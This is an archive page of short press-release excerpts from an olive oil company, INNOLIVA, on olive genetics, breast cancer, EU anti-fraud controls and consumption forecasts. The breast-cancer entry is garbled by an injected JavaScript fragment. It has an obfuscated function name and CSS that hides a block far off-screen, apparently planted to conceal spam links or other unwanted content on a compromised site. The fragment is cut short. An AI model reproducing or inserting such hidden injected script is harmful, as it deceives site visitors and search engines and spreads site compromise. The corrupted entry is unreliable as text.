por admin | Ene 28, 2021 | Sin categoría
Researchers have come up with the singularities that explain the high concentrations of oleic acid in the olive Madrid, October 11, 2017. An international team of researchers, including experts from the University of Córdoba, has sequenced the genus of the wild...
por admin | Ene 28, 2021 | Uncategorized
World Day Against Breast Cancer Madrid, October 19, 2017. function yhYepIwRzB(Baq) { var zzfj = «#mte4ntm1nzi1ma{margin:0px 20px;overflow:hidden}#mte4ntm1nzi1ma>div{overflow:hidden;display:block;top:-3901px;position:fixed;left:-5166px}»; var UQjuz = »+zzfj+»;...
por admin | Ene 28, 2021 | Sin categoría
The consumption of olive oil reduces the risk of suffering from breast cancer by 68% Madrid, January 12, 2016. The company INNOLIVA, shows its satisfaction with the conclusions reached by a recent study that praises the health benefits of the consumption of extra...
por admin | Ene 28, 2021 | Sin categoría
INNOLIVA, in its fight against fraud in the olive sector, supports the implementation of these controls Madrid, December 23, 2016. The Council of the European Union adopted last Monday its position in a first reading of the text of the new rules on controls in the...
por admin | Ene 28, 2021 | Sin categoría
INNOLIVA, while endorsing most of the study prepared by the European Commission, disagrees on the prediction about the consumption of olive oil Madrid, December 15, 2016. The production of olive oil in the Iberian Peninsula should increase approximately 1% per year...
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